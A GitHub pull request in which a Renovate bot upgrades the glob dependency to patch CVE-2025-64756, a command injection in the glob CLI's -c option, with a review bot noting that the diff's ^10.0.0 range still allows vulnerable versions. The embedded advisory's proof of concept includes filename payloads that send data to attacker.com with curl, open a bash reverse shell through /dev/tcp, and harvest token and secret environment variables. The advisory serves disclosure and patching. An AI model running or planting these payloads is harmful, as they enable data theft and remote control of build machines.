fix(deps): update dependency glob to v10 [security] by renovate-bot · Pull Request #8063 · googleapis/google-cloud-node

renovate-bot · 2026-04-16T02:52:27Z

This PR contains the following updates:

Package	Change	Age	Confidence
glob	`^7.1.6` → `^10.5.0`

GitHub Vulnerability Alerts

CVE-2025-64756

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

User runs glob -c <command> <pattern>
CLI finds files matching the pattern
Matched filenames are collected into an array
Command is executed with matched filenames as arguments using shell: true
Shell interprets metacharacters in filenames as command syntax
Malicious filenames execute arbitrary commands

Affected Component:

CLI Only: The vulnerability affects only the command-line interface
Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
Any directory where attackers can control filenames (PR branches, archives, user uploads)
CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

The echo command executes normally
Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
A new file injected_poc is created, proving command execution
Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

Commands execute with full privileges of the user running glob CLI
No privilege escalation required - runs as current user
Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

Malicious PR adds files with crafted names to repository
CI pipeline uses glob -c to process files (linting, testing, deployment)
Commands execute in CI environment with build secrets and deployment credentials
Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

Developer clones repository or extracts archive containing malicious filenames
Local build scripts use glob -c for file processing
Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

Services using glob CLI to process uploaded files or external content
File uploads with malicious names trigger command execution
Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

Malicious packages or themes include files with crafted names
Build processes using glob CLI automatically process these files
Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

Ecosystem: npm
Package name: glob
Component: CLI only (src/bin.mts)
Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
Patched versions: 11.1.0and 10.5.0

Scope Limitation:

Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.
If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Release Notes

isaacs/node-glob (glob)

No default exports, only named exports

`v9.3.5`

Compare Source

`v9.3.4`

Compare Source

`v9.3.3`

Compare Source

Upgraded minimatch to v8, adding support for any degree of
nested extglob patterns.

`v9.3.2`

Compare Source

`v9.3.1`

Compare Source

`v9.3.0`

Compare Source

`v9.2.1`

Compare Source

`v9.2.0`

Compare Source

`v9.1.2`

Compare Source

`v9.1.1`

Compare Source

`v9.1.0`

Compare Source

`v9.0.2`

Compare Source

`v9.0.1`

Compare Source

`v9.0.0`

Compare Source

`v8.1.0`

Compare Source

`v8.0.3`

Compare Source

`v8.0.2`

Compare Source

`v8.0.1`

Compare Source

`v7.2.3`

Compare Source

`v7.2.2`

Compare Source

`v7.2.0`

Compare Source

`v7.1.7`

Compare Source

Configuration

📅 Schedule: (UTC)

Branch creation
- ""
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

dpebot · 2026-04-16T02:52:38Z

/gcbrun

gemini-code-assist

Code Review

This pull request updates the glob dependency in core/dev-packages/jsdoc-region-tag/package.json from version 7 to 10. Feedback indicates that the specified range ^10.0.0 is insufficient to address CVE-2025-64756, as it allows for vulnerable versions to be installed. It is recommended to update the dependency to ^10.5.0 to ensure the security fix is applied.

gemini-code-assist · 2026-04-16T02:53:32Z

CVE-2025-64756

  "homepage": "https://github.com/googleapis/google-cloud-node-core/tree/main/dev-packages/jsdoc-region-tag",
  "dependencies": {
-    "glob": "^7.1.6"
+    "glob": "^10.0.0"


The pull request description identifies a security vulnerability (CVE-2025-64756) and recommends upgrading to glob@10.5.0 or higher. The current change to ^10.0.0 allows for vulnerable versions (10.2.0 to 10.4.5) to be installed. Updating the requirement to ^10.5.0 ensures the security fix is included.

Suggested change

"glob": "^10.0.0"

"glob": "^10.5.0"

dpebot · 2026-04-16T07:03:26Z

/gcbrun

dpebot · 2026-04-16T10:44:45Z

/gcbrun

dpebot · 2026-04-16T10:56:33Z

/gcbrun

dpebot · 2026-04-16T14:26:43Z

/gcbrun

dpebot · 2026-04-16T15:27:43Z

/gcbrun

dpebot · 2026-04-16T17:04:59Z

/gcbrun

dpebot · 2026-04-16T17:22:03Z

/gcbrun

dpebot · 2026-04-16T18:39:01Z

/gcbrun

dpebot · 2026-04-16T18:50:30Z

/gcbrun

dpebot · 2026-04-17T06:11:15Z

/gcbrun

dpebot · 2026-04-17T06:23:14Z

/gcbrun

dpebot · 2026-04-17T17:23:37Z

/gcbrun

dpebot · 2026-04-17T20:47:40Z

/gcbrun

renovate-bot requested a review from a team as a code owner April 16, 2026 02:52

gemini-code-assist bot reviewed Apr 16, 2026

View reviewed changes

renovate-bot force-pushed the renovate/npm-glob-vulnerability branch from c6f555b to 1cdf3ca Compare April 16, 2026 07:03

renovate-bot force-pushed the renovate/npm-glob-vulnerability branch from 1cdf3ca to 3464f05 Compare April 16, 2026 10:44

renovate-bot force-pushed the renovate/npm-glob-vulnerability branch from 3464f05 to 94857fb Compare April 16, 2026 10:56

renovate-bot force-pushed the renovate/npm-glob-vulnerability branch from 94857fb to 945a767 Compare April 16, 2026 14:26

danieljbruce approved these changes Apr 16, 2026

View reviewed changes

renovate-bot force-pushed the renovate/npm-glob-vulnerability branch from 945a767 to d39405d Compare April 16, 2026 15:27

renovate-bot force-pushed the renovate/npm-glob-vulnerability branch from d39405d to 53d5ec5 Compare April 16, 2026 17:04

renovate-bot force-pushed the renovate/npm-glob-vulnerability branch from 53d5ec5 to 25fcfd8 Compare April 16, 2026 17:21

renovate-bot force-pushed the renovate/npm-glob-vulnerability branch from 25fcfd8 to 7f054ae Compare April 16, 2026 18:38

renovate-bot force-pushed the renovate/npm-glob-vulnerability branch from 7f054ae to 916e0d6 Compare April 16, 2026 18:50

renovate-bot force-pushed the renovate/npm-glob-vulnerability branch from 916e0d6 to 95f41f6 Compare April 17, 2026 06:11

renovate-bot force-pushed the renovate/npm-glob-vulnerability branch from 95f41f6 to e662450 Compare April 17, 2026 06:23

renovate-bot force-pushed the renovate/npm-glob-vulnerability branch from e662450 to 2159f23 Compare April 17, 2026 17:23

fix(deps): update dependency glob to v10 [security]

6ef0fa2

renovate-bot force-pushed the renovate/npm-glob-vulnerability branch from 2159f23 to 6ef0fa2 Compare April 17, 2026 20:47

Conversation

renovate-bot commented Apr 16, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

Summary

Details

PoC

Impact

Affected Products

Remediation

Severity

Release Notes

Configuration

Uh oh!

dpebot commented Apr 16, 2026

Uh oh!

gemini-code-assist bot left a comment

Choose a reason for hiding this comment

Code Review

Uh oh!

gemini-code-assist bot Apr 16, 2026

Choose a reason for hiding this comment

Uh oh!

dpebot commented Apr 16, 2026

Uh oh!

dpebot commented Apr 16, 2026

Uh oh!

dpebot commented Apr 16, 2026

Uh oh!

dpebot commented Apr 16, 2026

Uh oh!

dpebot commented Apr 16, 2026

Uh oh!

dpebot commented Apr 16, 2026

Uh oh!

dpebot commented Apr 16, 2026

Uh oh!

dpebot commented Apr 16, 2026

Uh oh!

dpebot commented Apr 16, 2026

Uh oh!

dpebot commented Apr 17, 2026

Uh oh!

dpebot commented Apr 17, 2026

Uh oh!

dpebot commented Apr 17, 2026

Uh oh!

dpebot commented Apr 17, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

renovate-bot commented Apr 16, 2026 •

edited

Loading